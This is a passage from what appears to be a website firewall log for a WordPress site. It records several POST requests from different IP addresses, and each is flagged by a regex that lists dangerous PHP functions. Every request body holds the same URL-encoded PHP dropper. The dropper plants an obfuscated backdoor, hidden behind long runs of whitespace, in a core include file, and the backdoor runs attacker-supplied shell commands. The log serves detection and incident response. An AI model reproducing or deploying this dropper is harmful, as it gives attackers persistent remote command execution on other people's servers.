%257D%2520elseif%2520%2528function_exists%2528%2524framework3%2529%2529%2520%257B%2520%2524framework3%2528%2524value%252C%2520%2524entity_item%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework4%2529%2529%2520%257B%2520%2524framework4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework5%2529%2520%2526%2526%2520function_exists%2528%2524framework6%2529%2520%2526%2526%2520function_exists%2528%2524framework7%2529%2529%2520%257B%2520%2524ptr_hld%2520%253D%2520%2524framework5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ptr_hld%2529%2520%257B%2520%2524desc_tkn%2520%253D%2520%2524framework6%2528%2524ptr_hld%2529%253B%2520%2524framework7%2528%2524ptr_hld%2529%253B%2520print%2520%2524desc_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM0bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:5199\nsec-fetch-dest:document\n\ngJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-walker-category-dropdown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524framework7%2520%253D%2520%2522pc%255Cx6Cos%255Cx65%2522%253B%2520%2524framework2%2520%253D%2520%2522shell_%255Cx65%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524framework5%2520%253D%2520%2522%255Cx70ope%255Cx6E%2522%253B%2520%2524framework1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524token_parser_engine%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524framework6%2520%253D%2520%2522stream%255Cx5Fg%255Cx65t%255Cx5F%255Cx63o%255Cx6E%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524framework3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524framework4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2520%2528%2520%2524item%2520%252C%2520%2524ptr%2520%2529%2520%257B%2520%2524hld%2520%253D%2520%2527%2527%2520%253B%2520%2524p%253D0%253B%2520while%2528%2524p%253Cstrlen%2528%2524item%2529%2529%257B%2520%2524hld.%253Dchr%2528ord%2528%2524item%255B%2524p%255D%2529%255E%2524ptr%2529%253B%2520%2524p%252B%252B%253B%2520%257D%2520return%2520%2524hld%253B%2520%257D%2520%2524value%2520%253D%2520%2524token_parser_engine%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520sync_manager%2528%2524value%252C%252034%2529%253B%2520if%2520%2528function_exists%2528%2524framework1%2529%2529%2520%257B%2520%2524framework1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework2%2529%2529%2520%257B%2520print%2520%2524framework2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework3%2529%2529%2520%257B%2520%2524framework3%2528%2524value%252C%2520%2524entity_item%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework4%2529%2529%2520%257B%2520%2524framework4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework5%2529%2520%2526%2526%2520function_exists%2528%2524framework6%2529%2520%2526%2526%2520function_exists%2528%2524framework7%2529%2529%2520%257B%2520%2524ptr_hld%2520%253D%2520%2524framework5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ptr_hld%2529%2520%257B%2520%2524desc_tkn%2520%253D%2520%2524framework6%2528%2524ptr_hld%2529%253B%2520%2524framework7%2528%2524ptr_hld%2529%253B%2520print%2520%2524desc_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:57:41","93.39.85.202","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Lv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-walker-category-dropdown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524framework7%2520%253D%2520%2522pc%255Cx6Cos%255Cx65%2522%253B%2520%2524framework2%2520%253D%2520%2522shell_%255Cx65%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524framework5%2520%253D%2520%2522%255Cx70ope%255Cx6E%2522%253B%2520%2524framework1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524token_parser_engine%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524framework6%2520%253D%2520%2522stream%255Cx5Fg%255Cx65t%255Cx5F%255Cx63o%255Cx6E%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524framework3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524framework4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2520%2528%2520%2524item%2520%252C%2520%2524ptr%2520%2529%2520%257B%2520%2524hld%2520%253D%2520%2527%2527%2520%253B%2520%2524p%253D0%253B%2520while%2528%2524p%253Cstrlen%2528%2524item%2529%2529%257B%2520%2524hld.%253Dchr%2528ord%2528%2524item%255B%2524p%255D%2529%255E%2524ptr%2529%253B%2520%2524p%252B%252B%253B%2520%257D%2520return%2520%2524hld%253B%2520%257D%2520%2524value%2520%253D%2520%2524token_parser_engine%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520sync_manager%2528%2524value%252C%252034%2529%253B%2520if%2520%2528function_exists%2528%2524framework1%2529%2529%2520%257B%2520%2524framework1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework2%2529%2529%2520%257B%2520print%2520%2524framework2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework3%2529%2529%2520%257B%2520%2524framework3%2528%2524value%252C%2520%2524entity_item%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework4%2529%2529%2520%257B%2520%2524framework4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework5%2529%2520%2526%2526%2520function_exists%2528%2524framework6%2529%2520%2526%2526%2520function_exists%2528%2524framework7%2529%2529%2520%257B%2520%2524ptr_hld%2520%253D%2520%2524framework5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ptr_hld%2529%2520%257B%2520%2524desc_tkn%2520%253D%2520%2524framework6%2528%2524ptr_hld%2529%253B%2520%2524framework7%2528%2524ptr_hld%2529%253B%2520print%2520%2524desc_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGULvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:5199\nsec-fetch-dest:document\n\nLv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-walker-category-dropdown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524framework7%2520%253D%2520%2522pc%255Cx6Cos%255Cx65%2522%253B%2520%2524framework2%2520%253D%2520%2522shell_%255Cx65%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524framework5%2520%253D%2520%2522%255Cx70ope%255Cx6E%2522%253B%2520%2524framework1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524token_parser_engine%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524framework6%2520%253D%2520%2522stream%255Cx5Fg%255Cx65t%255Cx5F%255Cx63o%255Cx6E%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524framework3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524framework4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2520%2528%2520%2524item%2520%252C%2520%2524ptr%2520%2529%2520%257B%2520%2524hld%2520%253D%2520%2527%2527%2520%253B%2520%2524p%253D0%253B%2520while%2528%2524p%253Cstrlen%2528%2524item%2529%2529%257B%2520%2524hld.%253Dchr%2528ord%2528%2524item%255B%2524p%255D%2529%255E%2524ptr%2529%253B%2520%2524p%252B%252B%253B%2520%257D%2520return%2520%2524hld%253B%2520%257D%2520%2524value%2520%253D%2520%2524token_parser_engine%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520sync_manager%2528%2524value%252C%252034%2529%253B%2520if%2520%2528function_exists%2528%2524framework1%2529%2529%2520%257B%2520%2524framework1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework2%2529%2529%2520%257B%2520print%2520%2524framework2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework3%2529%2529%2520%257B%2520%2524framework3%2528%2524value%252C%2520%2524entity_item%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework4%2529%2529%2520%257B%2520%2524framework4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework5%2529%2520%2526%2526%2520function_exists%2528%2524framework6%2529%2520%2526%2526%2520function_exists%2528%2524framework7%2529%2529%2520%257B%2520%2524ptr_hld%2520%253D%2520%2524framework5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ptr_hld%2529%2520%257B%2520%2524desc_tkn%2520%253D%2520%2524framework6%2528%2524ptr_hld%2529%253B%2520%2524framework7%2528%2524ptr_hld%2529%253B%2520print%2520%2524desc_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:59:30","154.26.133.65","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-walker-category-dropdown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524framework7%2520%253D%2520%2522pc%255Cx6Cos%255Cx65%2522%253B%2520%2524framework2%2520%253D%2520%2522shell_%255Cx65%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524framework5%2520%253D%2520%2522%255Cx70ope%255Cx6E%2522%253B%2520%2524framework1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524token_parser_engine%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524framework6%2520%253D%2520%2522stream%255Cx5Fg%255Cx65t%255Cx5F%255Cx63o%255Cx6E%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524framework3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524framework4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2520%2528%2520%2524item%2520%252C%2520%2524ptr%2520%2529%2520%257B%2520%2524hld%2520%253D%2520%2527%2527%2520%253B%2520%2524p%253D0%253B%2520while%2528%2524p%253Cstrlen%2528%2524item%2529%2529%257B%2520%2524hld.%253Dchr%2528ord%2528%2524item%255B%2524p%255D%2529%255E%2524ptr%2529%253B%2520%2524p%252B%252B%253B%2520%257D%2520return%2520%2524hld%253B%2520%257D%2520%2524value%2520%253D%2520%2524token_parser_engine%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520sync_manager%2528%2524value%252C%252034%2529%253B%2520if%2520%2528function_exists%2528%2524framework1%2529%2529%2520%257B%2520%2524framework1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework2%2529%2529%2520%257B%2520print%2520%2524framework2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework3%2529%2529%2520%257B%2520%2524framework3%2528%2524value%252C%2520%2524entity_item%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework4%2529%2529%2520%257B%2520%2524framework4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework5%2529%2520%2526%2526%2520function_exists%2528%2524framework6%2529%2520%2526%2526%2520function_exists%2528%2524framework7%2529%2529%2520%257B%2520%2524ptr_hld%2520%253D%2520%2524framework5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ptr_hld%2529%2520%257B%2520%2524desc_tkn%2520%253D%2520%2524framework6%2528%2524ptr_hld%2529%253B%2520%2524framework7%2528%2524ptr_hld%2529%253B%2520print%2520%2524desc_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:5199\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoHtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nmH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-walker-category-dropdown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524framework7%2520%253D%2520%2522pc%255Cx6Cos%255Cx65%2522%253B%2520%2524framework2%2520%253D%2520%2522shell_%255Cx65%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524framework5%2520%253D%2520%2522%255Cx70ope%255Cx6E%2522%253B%2520%2524framework1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524token_parser_engine%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524framework6%2520%253D%2520%2522stream%255Cx5Fg%255Cx65t%255Cx5F%255Cx63o%255Cx6E%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524framework3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524framework4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2520%2528%2520%2524item%2520%252C%2520%2524ptr%2520%2529%2520%257B%2520%2524hld%2520%253D%2520%2527%2527%2520%253B%2520%2524p%253D0%253B%2520while%2528%2524p%253Cstrlen%2528%2524item%2529%2529%257B%2520%2524hld.%253Dchr%2528ord%2528%2524item%255B%2524p%255D%2529%255E%2524ptr%2529%253B%2520%2524p%252B%252B%253B%2520%257D%2520return%2520%2524hld%253B%2520%257D%2520%2524value%2520%253D%2520%2524token_parser_engine%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520sync_manager%2528%2524value%252C%252034%2529%253B%2520if%2520%2528function_exists%2528%2524framework1%2529%2529%2520%257B%2520%2524framework1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework2%2529%2529%2520%257B%2520print%2520%2524framework2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework3%2529%2529%2520%257B%2520%2524framework3%2528%2524value%252C%2520%2524entity_item%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entity_item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework4%2529%2529%2520%257B%2520%2524framework4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework5%2529%2520%2526%2526%2520function_exists%2528%2524framework6%2529%2520%2526%2526%2520function_exists%2528%2524framework7%2529%2529%2520%257B%2520%2524ptr_hld%2520%253D%2520%2524framework5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ptr_hld%2529%2520%257B%2520%2524desc_tkn%2520%253D%2520%2524framework6%2528%2524ptr_hld%2529%253B%2520%2524framework7%2528%2524ptr_hld%2529%253B%2520print%2520%2524desc_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7